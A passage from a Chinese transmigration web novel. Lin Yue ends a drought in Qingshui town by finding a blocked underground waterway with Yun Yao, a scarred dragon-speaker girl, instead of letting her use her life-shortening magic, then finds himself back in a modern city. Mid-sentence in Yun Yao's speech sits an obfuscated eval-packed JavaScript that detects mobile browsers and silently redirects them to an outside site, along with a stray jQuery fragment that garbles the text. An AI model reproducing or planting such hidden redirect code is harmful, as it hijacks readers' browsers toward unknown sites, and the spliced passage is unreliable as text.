源头有变……林越盯着那四个字。如果是地质灾害,比如山体滑坡堵塞河道,或者地震改变了地下水流向呢? 他合上书,看了看窗外。正午刚过,日头最毒辣的时候,外面明晃晃一片,连蝉鸣都显得有气无力。他强迫自己躺下休息了一会儿,养足精神。直到未时末(下午三点左右),日头开始西斜,他才重新起身。 背上水囊,揣好短刀防身,林越再次出了镇子。 沿着那条干涸的河床往上游走。河床比镇子里的街道要宽得多,足足有十来丈,完全干裂,寸草不生。脚下是板结的硬土,被晒得发白,裂缝纵横交错,像一张巨大的蛛网。有些裂缝足有手指宽,深不见底。 他走得很快,但眼睛没闲着,仔细观察着河床两岸的地形、土壤颜色、裂缝的走向。越往上走,地势果然开始有了起伏。约莫走了三四里地,河道拐了个弯,进入一片地势稍高的区域。这里的河床更窄,两岸是裸露的褐色岩石。 林越放慢脚步,贴着河床边沿仔细查看。 忽然,他脚步一顿。 蹲下身,凑近一处特别宽的裂缝。裂缝边缘的泥土颜色似乎比别处要深一点。他伸出手,悬在裂缝上方,隐约感觉到一丝极微弱的、带着湿润感的凉意。 不是风。是水汽。 林越心头一跳,立刻从怀里掏出早就准备好的干净布条,撕下一条,小心翼翼地垂入裂缝深处。等了几息,再提上来。布条的末端,果然沾染上了一点点浑浊的、泛黄的湿痕。他用指尖捻了捻,有种滑腻感。 不是地表蒸发残留的水分。地表的水分早就被晒干了。这湿气是从更深的地方渗上来的。 他忽然想起以前看过的一些纪录片和地理知识。在干旱半干旱地区,地下水道并非固定不变的。地质活动、泥沙淤积、甚至动物挖掘,都可能让地下暗河改道。如果改道后的新通道被堵塞,或者水流被引向了更深的、无法上涌的岩层,那么地表的水源就会彻底断绝。 难道清河断流,不是因为源头无水,而是因为地下水道改道后,在某个地方被堵住了?水流其实还在,只是无法到达地表? 这个想法让他精神一振。如果是这样,那解决问题的方法就不是“造水”或“求雨”,而是“疏通”。 他站起身,沿着这条裂缝来回走了几遍,又仔细查看了周围的地势和岩石走向,默默记在心里。天色渐晚,他不敢久留,转身快步返回镇子。 第三日,正午。 清水镇西边的晒谷场。 日头正烈,阳光毫无遮挡地倾泻下来,将地面烤得滚烫,空气都因高温而微微扭曲。场中央的木杆下,绑着一个人形。 少女的头低垂着,散乱的发丝黏在汗湿血污的脸上和脖子上。粗麻绳深深勒进她瘦瘦小小的肩膀和手腕,那里早已皮开肉绽,结了黑褐色的血痂,又被新渗出的血水和汗水浸透。裸露的皮肤呈现出一种可怕的紫红色,布满了水泡,有些已经破裂,流淌着浑浊的液体。她整个人像是被抽干了所有生气,只有胸口极其微弱、时断时续的起伏,证明她还活着。 周围稀稀拉拉站着几个看热闹的百姓,大多用手遮着额头,指指点点,低声议论。负责看守的两个衙役也躲在远处的树荫下,靠着树干打盹。 林越站在场边,紧紧攥着拳头。他怀里揣着药,手里提着刚买来的温水和干净布巾,眼睛死死盯着日晷的投影。 午时三刻。 时辰一到,他甚至没等投影完全对准刻度,便一个箭步冲了上去。 “时辰到了!县尊大人有令,放人!”他朝着树荫下的衙役喊道,同时从怀里掏出那张保状。 一个衙役懒洋洋地走过来,接过文书扫了一眼,确认无误,才慢吞吞地从腰间解下钥匙,上前去解绳索。 麻绳已经深深嵌进皮肉里,几乎和伤口长在了一起。衙役粗暴地一扯,昏迷中的少女浑身剧烈地抽搐了一下,发出一声几乎听不见的痛哼。 林越的心也跟着一抽。他强忍着没说话,等绳索一解开,立刻上前,小心翼翼地扶住少女瘫软的身体。少女轻得可怕,浑身滚烫,像一块烧红的炭。 他不敢耽搁,背起她,快步离开了晒谷场。 回到客栈,林越轻轻将少女放在新开房间的床上。她依旧昏迷不醒,呼吸微弱。林越先用温盐水一点点浸润、擦洗她身上最严重的伤口,小心翼翼地挑破一些大的水泡,挤出脓液,再敷上清凉的药膏。整个过程,少女只是偶尔发出几声模糊的呻吟,眉头痛苦地蹙紧,但始终没有醒来。 喂药更困难。林越只能用布巾蘸着温水和稀释过的药汤,一点点润湿她干裂起皮的嘴唇,等她本能地吞咽。一小碗药汤,喂了足足半个时辰。 做完这一切,天已经黑了。林越搬了张凳子坐在床边守着,隔一会儿就用湿布巾敷在她的额头上降温,隔一会儿又试着喂几口水。 夜半时分,少女的睫毛颤动了几下。 林越立刻凑近。 那双眼睛缓缓睁开,起初是一片茫然和涣散,然后瞳孔骤缩,眸光里瞬间充满了惊惧,像一头落入陷阱、濒死挣扎的小兽。她下意识地想要蜷缩身体,却牵动了伤口,疼得倒抽一口冷气。 “别怕,是我。”林越低声说,将油灯拨亮了些,让自己的脸清晰地映在她眼中,“林越。在晒刑场给你喂过水的那个。” 少女死死地盯着他,急促的呼吸慢慢平复下来,眼中的惊惧缓缓退去,但警惕依旧。她认出了这张脸。 “……你……为何救我?”她的声音嘶哑得厉害,几乎像砂纸摩擦。 林越没有立刻回答。他心里确实闪过一个念头——因为可能需要你帮我通关?但这太功利,也说不出口。他端起旁边温着的粗茶,递到她唇边:“先喝点水。” 少女没再追问,默默就着他的手,小口小口地喝了几口温水。喉咙得到滋润,她似乎舒服了一些,眼睛却依然看着林越,在等一个答案。 林越放下茶碗,想了想,还是决定说实话的一部分:“县官那里,我用茶叶和一点功劳,换来了你的赦免。条件是,你得由我监管。”他顿了顿,“我不想看着一个……年纪轻轻的人,就这么被活活晒死。” 少女沉默了片刻,长长的睫毛垂下,遮住了眼中的情绪。她没有道谢,也没有质疑,只是轻轻“嗯”了一声,然后闭上了眼睛,像是耗尽了最后一点力气。 接下来的两天,少女的恢复速度比林越预想的要快。虽然依旧虚弱,伤口疼痛,但或许是因为年轻,或许是因为龙语者血脉的某种特质,她的生命力顽强得惊人。她很少说话,大部分时间都在昏睡或闭目养神,默默接受林越的照顾——喂药、换药、擦拭、喂食。 直到第三日傍晚,她的精神好了许多,靠在床头,看着林越笨拙地试图把米粥吹凉。 “……我叫云瑶。”她忽然开口,声音依然沙哑,但清晰了不少。 林越动作一顿,抬头看她。 “是龙语者后裔。”云瑶继续说,目光投向窗外灰蒙蒙的天空,像是在回忆,又像是在陈述一个遥远而沉重的事实,“我族居雪顶山巅,世代守护‘云渊祭坛’。每逢大旱,族中长者便会以血为引,诵《霖铃破阵曲》,唤龙魂降下甘霖。” 她的语气很平淡,仿佛在说一件再平常不过的事。但林越听得心头一沉。 “血脉中镌刻着远古的真言,能呼风唤雨,通幽断冥。”云瑶扯了扯嘴角,露出一丝苦涩的笑,“听起来很厉害,是不是?但每动一语,皆折寿十年。” 她说着,微微掀起了宽大的袖口。林越看到,她纤细苍白的手腕上,纵横交错着数道疤痕,有些已经泛白,像是旧伤,有些还带着粉红色的新肉。疤痕的形状很奇怪,不像刀割,更像是……用某种尖锐的东西,在皮肉上反复刻画过。 “今岁祭坛崩裂,龙语失衡。”云瑶的声音低了下去,“说一句话……便如割心脉。需要更多的血,更深的契痕,才能勉强引动一丝力量。” 林越看着她手腕上那些触目惊心的疤痕,喉咙有些发紧。他想起了自己手腕上那道缓慢增长的黑痕。不同的形式,同样都是倒计时,都是代价。 “所以,”他清了清嗓子,压下心中复杂的情绪,“你下山,是为了……” “修复祭坛,需要特殊的材料和巨大的能量。我想……或许可以先解决一些地方的旱情,换取报酬,积累所需。”云瑶低声说,“一个商人找到我,说清水镇的河水干涸,愿出重酬请我施术。他给了我一个玉坠作为定金。” 林越心中一动。他从怀里摸出那个平安扣玉坠,递到云瑶面前:“是这个吗?” 云瑶看到玉坠,眼睛微微睁大,点了点头:“是。他说事成之后,另有重谢。但……我在镇外尝试引动龙语感应水脉时,被衙役发现,抓了起来。”她顿了顿,看向林越,“这玉坠……怎么在你这里?” 林越沉默了一下。他原本打算找个合适时机说明,现在似乎就是时机。 “这玉坠,是我的。”他看着云瑶清澈却带着疑惑的眼睛,“是我从……家乡带来的东西。之前为了筹集盘缠和打听消息,把它交给了一个商队,让他们带到清水镇看看能不能换些钱物。”他省略了穿越和轮回的部分,“后来在晒刑场,我问你玉坠的事,就是想确认是不是同一件。” 云瑶愣住,看了看玉坠,又看了看林越,脸上浮现出困惑:“那商人说,这是他从一户富户那里买来的……很珍贵。” “不,它并不值几钱。”林越摇摇头,实话实说,“至少在它原来的地方,这只是个很普通的饰品。那个商人……恐怕骗了你。”他犹豫了一下,还是问出了那个盘旋在心头的问题,“既然只是这样一个不值钱的玉坠,为什么……你会愿意接受作为报酬,甚至愿意为它承诺的‘愿望’去冒险?” 云瑶静静地看了他一会儿,那双因为伤病而略显暗淡的眼睛里,似乎有什么清澈的东西闪了闪。 “报酬的价值,并不重要。”她轻声说,语气却异常坚定,“重要的是,我接受了委托,拿到了报酬——无论它是什么。那么,我就应该为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119400|195946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了委托人的愿望去努力。这是我族的信条,也是……我的责任。” 啊,这该不会就是为什么总是描写那些高中生喊着热血啊羁绊啊愿望的冲了上去拯救世界的原因吧。林越心里忍不住吐槽,纯粹的信念,不计代价的责任感……不像我们这些拯救自己就很累了的成年人,第一反应是权衡利弊,计算得失。 他看着云瑶苍白但认真的脸,忽然觉得有些惭愧,又有些无奈。 他想通关。他手腕上的黑痕在缓慢增长,提醒他时间有限。眼前这个少女,掌握着或许能直接“呼风唤雨”的力量。如果请她使用龙语,直接召唤一场大雨填满河床,旱情解决,是不是就算“通关”了? 但这个念头只在脑海里转了一圈,就被他狠狠按了下去。 折寿十年。每说一句话都如割心脉。还要用刀割开自己的手腕。 他开不了口。作为一个在社会上摸爬滚打过、深知“代价”二字的成年人,他实在没办法,让一个看起来不过十四五岁、刚刚从鬼门关被拉回来的少女,为了自己的“通关”,再去承受那种痛苦,支付那种寿命。 不能问。他对自己说。问了,就是卑劣。不问,或许还有别的路。 “你好好休息。”林越最终只是这么说,把玉坠放在床边,“这个……物归原主。或者,就当是……我付给你的新报酬吧。” “新报酬?”云瑶不解。 “嗯。”林越站起身,“报酬是……请你好好养伤,快点好起来。然后,我们一起想办法,看能不能用不折寿、不自残的方式,解决清水镇的问题。” 云瑶看着他,眼中闪过一丝复杂的情绪,有惊讶,有不解,也有一丝细微的、难以察觉的触动。她没有说话,只是轻轻点了点头。 林越离开了房间,回到自己那间。他坐在床边,看着自己左手腕上那道已经蔓延到小半圈的黑痕,眉头紧锁。 不靠龙语,怎么解决干旱? 他再次拿出《清水镇地理志》,翻到地形图,又想起那天在干涸河床上发现的湿润裂缝。 地下水道改道……如果真是这样,关键是要找到“堵塞点”或者“改道点”。只要疏通,或者把水流引导回原来的河道,地下水就能重新上涌,河床或许就能恢复水流。 他决定再去一次河床,更仔细地勘查。这次,或许可以带上工具,试着挖一挖,看看下面到底有什么。 第二天,林越带着一把小铲子和几个空布袋,再次出了镇子,沿着河床往上游走。这次他走得更慢,观察得更仔细。遇到可疑的裂缝或地势变化,就蹲下来,用小铲子挖开表层坚硬的土壳,查看下面的土壤湿度和颜色。 河床皲裂如蛛网,赤地十里,不见寸草。放眼望去,只有灰白的盐碱,像霜一样覆盖在龟裂的土块上,一片死寂。 他走到上次发现湿气的那片区域,继续向上游探索。约莫又走了半里地,在一处河床突然收窄、两岸岩石凸起的拐弯处,他停下了脚步。 这里的裂缝格外密集,而且宽深。他蹲下身,把手伸进一道裂缝,能明显感觉到更强烈的湿冷气息。他拿起铲子,小心翼翼地挖开裂缝边缘已经板结的硬土。 挖了大约一尺深,下面的泥土变得潮湿,颜色也深了许多。再往下挖,铲子碰到了坚硬的石块。他清理掉周围的泥土,发现那是几块巨大的、棱角分明的青灰色岩石,相互堆叠着,堵塞在原本应该是河道底部的位置。 而在岩石的缝隙间,他看到了缓慢渗出的、浑浊的黄色细流。水流很小,几乎难以察觉,但确实是活水。 林越的心跳加快了。他伸手沾了一点水流,凑到鼻尖闻了闻,有一股淡淡的土腥味和矿物质的味道。他用舌头尝了尝,微涩,但确实是淡水。 就是这里!他几乎可以肯定,这就是地下水道被堵塞或改道的关键节点之一。这些巨大的岩石,可能是上游山体滑坡滚落下来的,正好卡在了河床最窄、地基最浅的“咽喉”位置,把地下暗河的通道给堵死了。水流过不来,或者只能从岩石下方更深、更曲折的缝隙勉强渗透,无法形成足够的水压上涌到地表。 他赶紧用布袋装了几大块挖出来的湿土,又用另一个布袋小心地接了一点渗出的水流,作为证据。 回到客栈,他立刻去敲响了云瑶的房门。 云瑶已经能勉强下床走动了,正坐在窗边,望着外面干渴的街道发呆。见林越进来,手里还提着两个鼓囊囊、沾满泥土的布袋,她眼中露出疑问。 “我可能找到了清河干涸的原因。”林越把布袋放在地上,快速地把自己的发现和推测说了一遍,“不是源头无水,是地下水道在某个地方被堵住了。水还在下面,但出不来。我找到了一个可能是‘堵塞点’的地方,挖到了湿土和渗水。” 云瑶听着,原本黯淡的眼睛渐渐亮起了一丝微弱的光芒。她挣扎着站起身,脚步还有些虚浮,但坚持走到布袋旁,蹲下身,用手捻起一点湿土,放在鼻尖嗅了嗅,又沾了一点渗水尝了尝。 “……有水气。”她喃喃道,抬头看向林越,眼中那丝光芒更明显了些,“很微弱,很浑浊……但确实是活水的水脉气息。” “你能感觉到?”林越问。 云瑶点点头,扶着桌子慢慢站起来:“若真如你所言,水道被阻……我可凭血脉,感应残存水脉的具体走向和可以挖掘的‘断喉’确切位置。”她看向林越,“有纸笔吗?还有……炭笔最好。” 林越立刻找来客栈记账用的黄纸和一支烧黑的细木炭。 云瑶将黄纸铺在桌上,闭目沉吟了片刻,然后睁开眼,用炭笔在纸上快速勾画起来。她画得并不精细,只是简单的线条,但很快就勾勒出了干涸河床的大致形状,以及两岸的主要地势起伏。 接着,她伸出右手食指,悬在图纸上方,双眼微阖,指尖开始沿着河床的线条缓缓移动。她的动作很慢,眉头微微蹙起,仿佛在捕捉着空气中、或者说大地深处某种常人无法感知的细微流动。 林越屏住呼吸,看着她的指尖划过图纸上的一个个位置——那正是他走过、查看过的地方。当指尖移动到林越发现湿土和岩石的那个河床拐弯处时,云瑶的动作骤然停顿。 她睁开眼睛,指尖重重地点在那个位置。 “此地。”她的声音虽轻,却带着一种奇异的笃定,“水脉至此,戛然而止。气息壅塞,如鲠在喉。” 她抬起头,看向林越,苍白的脸上因为激动而泛起一丝不正常的潮红: “此地就是‘断喉之处’!” 15. 黑色手环 林越和云瑶带了简单食水和两把铁锹就出发了,走了大半天,找到了“断喉之处”,这里河床上下游都是一样的干涸,根本看不出是否其下有地下水道,更不知道要挖多深才能挖到水。但两人别无他法,只能开始默默挖坑,挖到深夜,还是一无所获。 林越把外套递给云瑶,“你去准备生个火,天黑夜冷的,再冻到了的话,反而拖慢进程。”云瑶知道林越是想要她休息,也不推脱,转身去找枯枝干草,离林越不远处生了一堆火,拿出简易小锅煮了一小锅热水,把干饼掰碎泡入其中,煮成碎疙瘩汤,便劝林越过来喝一点。 铁锹一次次砸进干硬的土里,震得林越虎口发麻。汗水顺着额角滑下,滴在滚烫的沙土上,瞬间蒸发成白汽。每挖一锹土,都要用脚全力踩下锹头,再靠腰腹力量撬起——这活儿比他想象中累得多。云瑶默默在一旁用藤筐运土,纤细的手臂已有些颤抖,但她咬着唇,一声不吭。直到夜色完全笼罩四野,两人累得几乎直不起腰,坑却只挖了不到一米深。 林越刚坐下想要接过汤碗,手上却被放上了一块温润的东西,打开手一看,发现竟是自己的玉坠。 “这玉坠本是你之物,后又作为报酬给我。如今你寻得解法,未使我折寿自残,此物……该当还给你。”云瑶轻声说,语气坚定,显然不接受反驳。 林越顿了下,还是收下了玉坠,放进怀中。 林越一边喝汤,一边看着挖的坑,觉得这样光靠两个人挖还不知道要挖到猴年马月,手腕上的黑痕已经蜿蜒延伸至手腕大半部分,显而易见是倒计时。且不说解决清水问题是否可以通关,单说现在的进度就时间紧迫。这里本是旧河道,证明原本经过的地下水应该不会很深,但是浅层的地下水也有10-30米的深度,这显然不是一个半大人能短时间挖出来的,按照现在一人挖井一人运土的协作模式,且为了保证挖开部分不会倒埋,要保证坑直径1.2米左右,一天也不过能挖1米左右,这还不算可能会遇到的流沙层。如果运气好,碰到最浅的地下水层,也是9米左右,那也要9天,那时候别说黑色手环完整走完一圈了,自己尸体都要风干了。 林越不想继续计算时间,让自己更为焦虑,转而思考是否可以找到帮手,毕竟除了自己,应该也没几个傻子愿意相信没有证据的情况下能挖出水来,还没有工钱。所以现在的关键是能证明这样挖能有水,才能找到更多人帮忙挖。 林越喝了一口热汤,让暖流驱散身体的寒意。他盯着眼前的土坑,脑中飞速运转着现代知识。要证明这里有地下水,不能光靠嘴说,得拿出实实在在的证据。 热汤下肚,僵硬的四肢终于恢复了些许知觉。他想起穿越前在纪录片里看过的现代钻井队——轰鸣的机器只需几个小时就能打出几十米深的井,而他们却只能用最原始的工具,像蚂蚁啃骨头一样一寸寸挖掘。这种落差让他苦笑,但随即又振作起来:至少,他还有现代人的思维和知识,这本身就是最大的工具。 首先,可以观察地形和植被。虽然河床干涸,但“断喉之处”的地势明显低于上下游,这是地下水改道后最容易积存的地方。而且,林越注意到这里虽然表面干裂,但裂缝中偶尔能看到一些特殊的苔藓痕迹——那是只有在长期湿润环境下才会生长的品种。虽然现在枯死了,但残留的痕迹就是证据。 其次,可以用最简单的物理方法测试。林越想起小时候在农村见过的“打井师傅”用的土办法:在怀疑有水的地方挖一个浅坑,铺上塑料布,第二天早上看是否有水汽凝结。虽然现在没有塑料布,但可以用油布或厚实的布料代替。更重要的是,云瑶作为龙语者后裔,她的血脉感应本身就是一种“专业认证”。虽然普通人可能不信龙语传说,但可以让她用一些简单的演示来增强说服力——比如用特制的木棍探测地下湿度变化,这在古代被称为“寻龙尺”,虽然原理是地下湿度差异导致木棍轻微弯曲,但足够唬人。 第三,要设计一个“眼见为实”的演示。林越想到可以在这里挖一个更深的探坑,哪怕只有两三米深,如果能挖到明显湿润的土层,甚至渗出少量泥水,那就是最直接的证据。而且,可以设计一个简单的“水汽上升”实验:在坑底点燃干燥的柴草,如果地下有水,上升的烟雾会带有明显的水汽,与在完全干燥地方燃烧的烟雾不同。 但最关键的是如何鼓动人。林越分析着清水镇居民的心理:他们渴望水,但又害怕白费力气。所以不能空口许诺,得设计一个“风险共担,利益共享”的方案。 林越脑中逐渐形成一个计划:第一步,他和云瑶先挖出一个“示范井”,哪怕只有三四米深,只要能挖到明显湿润的土层,就足以证明地下有水。第二步,用这个示范井作为证据,去说服酒肆老板、刘员外等有一定影响力的人。可以承诺,如果挖出水来,他们可以优先获得使用权,甚至可以收取一定的“水费”作为回报。第三步,设计一个“工分制”:愿意来帮忙挖井的人,将来可以按劳动量获得相应的用水配额。这样就把单纯的体力劳动变成了对未来资源的投资。 而且,林越还想到可以利用县官。既然县官重视孝道,可以以“为全镇百姓谋福祉,彰显父母官仁德”为由,请求县官支持。如果县官能出面号召,甚至提供一些简单的工具或粮食作为报酬,那号召力就大不一样了。 不过最现实的还是从酒肆老板入手。酒肆用水量大,老板对水的渴望最迫切。可以先说服他提供一些食物作为“挖井补贴”,吸引第一批劳动力。只要有人开始干,看到希望的人自然会加入。 林越放下汤碗,眼中闪过一丝光芒。他转向云瑶:“我有个想法。明天我们继续挖,但目标不是直接挖出水,而是挖到足够湿润的土层作为证据。同时,你能否用你的血脉感应,给我画一张更详细的水脉图?不需要精确,只要能大致标出地下水层的深度和走向就行。” 云瑶点点头:“可以,但我需要更安静的环境集中精神。” “好。”林越继续说,“然后我们带着证据和图纸回去,先从酒肆老板开始游说。我算过了,如果能有十个人轮流挖,一天就能挖三米以上,最多三天就能见到水。而说服十个人,比说服全镇容易得多。” 云瑶若有所思:“但你怎么保证他们相信?” 林越笑了:“我不需要他们完全相信,只需要他们相信‘有可能’。人就是这样,只要有百分之一的希望,就愿意付出百分之九十九的努力——尤其是当这希望关乎生存的时候。” 他站起身,拍了拍身上的土:“今晚好好休息,明天我们不仅要挖土,还要挖出‘希望’来。” 第二天清晨,天刚蒙蒙亮,林越就被手腕上黑痕的细微灼热感唤醒。他低头一看,那黑色条痕又向前延伸了一小段,现在只剩下不到三分之一的缺口了,时间紧迫。 晨光落在云瑶低垂的睫毛上,映出淡淡的青黑——显然她一夜未眠。云瑶已经醒来,正在对着林越昨晚给的《清水镇地理志》,炭笔在粗布上移动,发出沙沙的轻响,她的眉头时而紧蹙时而舒展,仿佛在与地底深处的脉络对话。林越没有立刻打扰,只是静静看着。这个十四五岁的少女,手腕上疤痕交错,却在此刻显露出一种与年龄不符的专注与坚韧。 林越接过布仔细端详。云瑶的画技粗糙,但意思表达得很清楚:一条粗线从雪顶山方向蜿蜒而下,在“断喉之处”附近形成一个明显的凹陷,然后继续向下游延伸。在凹陷处,她标注了几个深浅不一的圈层。 “这里,”云瑶指着最浅的圈层,“应该是湿润的沙土层,大概三到四米深。再往下五米左右,是黏土层,水应该就储存在这层下面。” 林越眼睛一亮:“也就是说,我们只需要挖到七八米深,就能见到水?” “理论上是这样。”云瑶点头,“但我的感应不一定完全准确。而且,如果黏土层太厚,可能需要挖得更深才能穿透。” “有方向总比盲目挖强。”林越收起布,“今天我们的目标就是挖到湿润土层,拿到证据。” 两人简单吃了些干粮,便开始了新一轮的挖掘。林越负责在坑底挖土,云瑶则用简陋的藤筐将土运到坑外。有了明确的目标,效率明显提高。到了中午时分,坑已经深达快两米。 “停一下!”林越突然喊道。他蹲下身,用手指捻起一撮刚挖出的土。这土与上层的干硬黄土不同,颜色更深,质地也更细腻。“你看这个。” 云瑶凑过来,也捻起一些土放在鼻尖闻了闻:“有潮气。” 林越将土放在手心,用力握紧。当他松开手时,土并没有完全散开,而是保持着一定的形状——这是含有水分的表现。 “就是这里!”林越兴奋地说,“我们挖到湿润层了。按照你的图纸,再往下挖一两米,应该就能看到更明显的湿土。” 两人干劲更足,又挖了两个时辰。当坑深达到三米半时,林越的铁锹突然挖到了一块与众不同的土层。这层土呈深褐色,摸上去冰凉湿润,甚至能捏出水来。 “找到了!”林越将湿土举起来,“这就是我们要的证据!” 云瑶也下到坑底,用手触摸坑壁:“这里的湿度明显增加。如果继续往下挖,应该很快就能见到渗水。” 林越爬出坑,看着手中的湿土,脑中快速盘算着下一步。证据有了,现在需要的是说服力。 “云瑶,你能不能在这里做一个简单的演示?”林越问道,“比如,用你的血脉感应,让普通人也能‘看到’地下有水?” 云瑶思索片刻:“我可以尝试。但需要一些准备。” 她从随身的小包裹里取出几样东西:一根细长的木棍,一些干燥的草药,还有一小块白色的石头。她将木棍垂直插入坑底的湿土中,然后在周围撒上草药,最后将白石头放在木棍顶端。 “这是龙语者用来感应地脉的简易仪式。”云瑶解释道,“虽然不能真正召唤水,但可以让木棍产生轻微的颤动,普通人能看到。” 她闭上眼睛,双手握住木棍下端,口中念念有词。林越注意到,她的手腕上那些纵横交错的疤痕开始微微发红。 几息之后,木棍真的开始颤动。起初很轻微,随后越来越明显,顶端的白色石头甚至发出了细微的嗡鸣声。 “可以了。”云瑶松开手,脸色有些苍白,“这个演示能维持一刻钟左右。” 林越扶住她:“你没事吧?” “只是有些累。”云瑶摇头,“我们得抓紧时间。” 两人带着湿土样本和演示用的木棍,迅速返回清水镇。林越直接找到了酒肆老板。 “老板,尔看这个。”林越将湿土放在柜台上,“我们在‘断喉之处’挖到了这个。” 胖老板凑近看了看,又用手摸了摸,眼睛顿时瞪大了:“这...这是湿土!尔等真的挖到水了?” “还没出水,但已经很近了。”林越指着湿土,“这是从三米半深的地方挖出来的。按照我们的测算,再往下挖三四米,应该就能见到渗水。” 老板激动得手都在颤抖:“需要多少人?需要什么工具?我全力支持!” 林越心中暗喜,表面却保持平静:“我们需要至少十个人轮流挖,还需要更多的铁锹、藤筐。另外,挖井的人需要食物和水,这得您帮忙。” “没问题!”老板拍着胸脯,“我这就去召集人手。食物我包了,每人每天管两顿饭!” 有了老板的支持,事情顺利多了。第二天天不亮,酒肆后院就聚集了十五六个汉子。他们都是镇上的苦力,听说挖井管饭,还有可能解决全镇的缺水问题,都愿意出力。 这些汉子大多是镇上的脚夫、泥瓦匠,个个皮肤黝黑,手掌粗粝。有人小声嘀咕:“这地方真能有水?别是白费力气。”旁边一个年长的啐了一口:“有饭吃就行!总比饿着强!”林越听着,也不辩解,只是将铁锹分发下去。很快,叮叮当当的挖土声响起,黄土一筐筐运出,坑眼见着深了下去。 林越带着众人回到“断喉之处”。他先让云瑶 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众人干劲十足,轮流用铁锹和铁钎扩大岩缝。水流逐渐增大,从最初的细流变成了汩汩涌出。到了傍晚时分,井底已经积起了浅浅的一层水。 “成功了!”酒肆老板激动得热泪盈眶,“清水镇有水了!” 消息很快传遍了全镇。越来越多的人来到“断喉之处”,看着井中不断涌出的清水,欢呼声此起彼伏。县官也闻讯赶来,看到井水后,当即宣布免除参与挖井者三个月的赋税。 人群沸腾了。几个老人颤巍巍地跪在井边,老泪纵横,双手合十不停念叨着“河神显灵”。年轻汉子们直接用手捧起井水,咕咚咕咚灌下去,清凉的液体顺着嘴角流下,他们却笑得像个孩子。孩童在人群中钻来钻去,兴奋地尖叫,仿佛过节一般。 林越站在人群中,看着欢腾的场面,心中却有些复杂。他左手腕上的黑痕只剩下最后一丝缝隙,玉坠在怀中微微发烫。他下意识地摸了摸怀里的玉坠,那温润的触感似乎在回应着什么。这枚辗转多人之手的玉坠,最终又回到了他手里,而此刻它正散发着微弱却不容忽视的热度,仿佛与地下涌出的水流产生了某种共鸣。 云瑶走到他身边,轻声说:“你做到了。” 林越点点头:“谢过你。” “该说谢谢的是我。”云瑶看着自己的手腕,那些疤痕似乎淡了一些,“因为你,我没有用龙语就解决了问题,保住了十年寿命。” 林越看着云瑶,这个与他相识不过数日的少女,此刻眼中闪烁着一种释然的光芒。他想说些什么,却不知如何开口。最终只是拍了拍她的肩膀:“好好活着。” 夜幕降临,众人还在井边庆祝。林越独自走到稍远的地方,看着手腕上即将首尾相连的黑痕。他知道,通关的时刻就要到了。他抬头望向星空,心中涌起一股复杂的感觉。这个世界虽然陌生,但他在这里挣扎过,努力过,也帮助过别人。而现在,他终于要离开了。 井水涌出不久,林越感到脚下大地传来细微震动,仿佛有什么古老之物被唤醒。远处干涸的河床裂缝中,隐约传来流水潺潺之声,由远及近……那声音起初细微如丝,渐渐地,越来越清晰,越来越响亮,像是沉睡的巨龙在缓缓舒展身躯。 与此同时,一阵潮湿的微风不知从何处拂来,卷走了空气中常年弥漫的沙尘味。河床深处传来“咔咔”的轻响,那是干涸已久的泥土在水分浸润下缓缓舒展的声音。几株枯死在岸边的芦苇根部,竟隐隐透出了一丝绿意。 就在这时,井中突然传来一声低沉的轰鸣。不是水流声,而是某种更深沉、更古老的声音,仿佛来自大地深处。那声音悠长而浑厚,带着难以言喻的威严,却又透着一丝欣慰,仿佛在庆祝水脉的重生。 云瑶脸色一变:“这是...龙吟?” 井水开始剧烈翻涌,不是向上喷涌,而是向下倒灌,仿佛井底突然打开了一个巨大的空洞。紧接着,整个河床开始震动,从“断喉之处”开始,干涸的河床重新湿润,水流沿着旧河道向下游蔓延。最初只是细小的水流,但很快,水流汇聚成溪,溪流汇聚成河,清澈的水流漫过干裂的河床,滋润着两岸的土地。 水脉复苏了。 林越腕间的黑痕骤然炽热,如活物般缠绕最后一寸皮肤。那黑色的印记仿佛活了过来,在他手腕上缓缓流动,最后的一丝缺口正以肉眼可见的速度闭合。他能感觉到一种奇异的力量正从大地深处涌来,通过他的双脚、身体,最终汇聚到手腕上的黑痕之中。 就在黑痕首尾相连的刹那,他怀中的玉坠迸发出耀眼的青光,那光芒如此强烈,却又如此柔和,仿佛承载着某种古老的祝福。玉坠的嗡鸣声与河床深处传来的龙吟产生共鸣,两种声音交织在一起,形成了一种奇妙的和谐。 那一刻,林越明白了。他帮助的不仅是清水镇,更是修复了这片土地的水脉平衡。龙语者少女的血脉感应、现代人的科学思维、众人的齐心协力——所有这些因素结合在一起,才真正触发了通关条件。这不是简单的生存或逃避,而是真正解决了这个世界的问题,恢复了自然的秩序。 耀眼的白光从玉坠中爆发,笼罩了林越的视野。那光芒并不刺眼,反而像温暖的潮水,将他整个人包裹其中。他能感觉到自己的身体正在变得轻盈,意识正在抽离,仿佛灵魂即将脱离躯壳。 在失去意识前的最后一瞬,他听到云瑶的声音从远处传来,那声音清澈而坚定,带着一丝不易察觉的温柔: “谢过你,林越。愿你在下一个世界,也能找到自己的路...” 白光吞没了一切。 林越的意识沉入了一片温暖的虚无之中。他最后的念头是:下一个世界,又会是怎样的挑战在等着他? 而在他消失的地方,清水镇的河水依然在流淌,欢庆的人群并不知道,那个帮助他们找回水源的年轻人,已经踏上了新的旅程。 16. 归乡幻觉 手腕上的黑色环痕彻底闭合的瞬间,林越没有感到任何疼痛或眩晕。 他最后看到的画面是云瑶那双清澈的眼睛,少女轻轻挥手,用只有他能听到的声音说:“下个世界顺利。” 声音刚落,黑色环痕如潮水般褪去,消融在皮肤下,不留一丝痕迹。 然后—— 不是数据河流,不是霓虹闪烁。 没有失重感,没有空间撕裂的错觉,甚至连传送阵的光芒都没有。 只有一声汽车喇叭的鸣响,尖锐刺耳,把他从恍惚中拽回现实。 柏油马路,汽车尾气,烧烤摊烟熏味混杂着路边绿化带里玉兰花的香气。晚风吹过,带着初夏夜晚特有的微热湿气。 还有手里沉甸甸、热乎乎的……关东煮和烤肠。 